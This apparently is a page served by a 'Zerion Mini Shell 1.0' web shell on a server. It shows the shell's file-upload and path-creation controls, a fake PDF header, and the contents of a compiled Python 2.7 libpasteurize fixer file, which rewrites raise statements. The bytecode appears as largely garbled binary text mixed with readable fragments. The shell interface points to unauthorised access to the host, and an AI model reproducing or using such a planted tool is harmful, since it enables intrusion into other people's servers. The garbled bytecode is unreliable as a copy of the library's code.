%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /opt/alt/python27/lib/python2.7/site-packages/libpasteurize/fixes/
Upload File :
Create Path :
Current File : //opt/alt/python27/lib/python2.7/site-packages/libpasteurize/fixes/fix_raise_.pyo

�
�A�[c@s[dZddlmZddlmZmZmZmZmZdej	fd��YZ
dS(u�Fixer for
              raise E(V).with_traceback(T)
    to:
              from future.utils import raise_
              ...
              raise_(E, V, T)

TODO: FIXME!!

i����(t
fixer_base(tCommatNodetLeafttokentsymstFixRaisecBseZdZd�ZRS(u�
    raise_stmt< 'raise' (power< name=any [trailer< '(' val=any* ')' >]
        [trailer< '.' 'with_traceback' > trailer< '(' trc=any ')' >] > | any) ['from' chain=any] >c	Cst|jd�|jd�|jd�}}}|jd�}|dk	rx|j|d�|jj�|j�n|dk	r|r�|dnttjd�}d|_	|_	ttjd	�|j
�t�|j
�t�|j
�g}tt
j|�}|j|�ndS(
Nunameuvalutrcuchainu8explicit exception chaining is not supported in Python 2iuNoneu uraise(tFIXMEtgettNonetwarningtprev_siblingtremoveRRtNAMEtprefixtcloneRRRt
raise_stmttreplace(	tselftnodetresultstnametvalttrctchaintkidsR((sO/opt/alt/python27/lib/python2.7/site-packages/libpasteurize/fixes/fix_raise_.pyt	transforms/

"(t__name__t
__module__tPATTERNR(((sO/opt/alt/python27/lib/python2.7/site-packages/libpasteurize/fixes/fix_raise_.pyRsN(t__doc__tlib2to3Rtlib2to3.fixer_utilRRRRRtBaseFixR(((sO/opt/alt/python27/lib/python2.7/site-packages/libpasteurize/fixes/fix_raise_.pyt<module>
s(

Zerion Mini Shell 1.0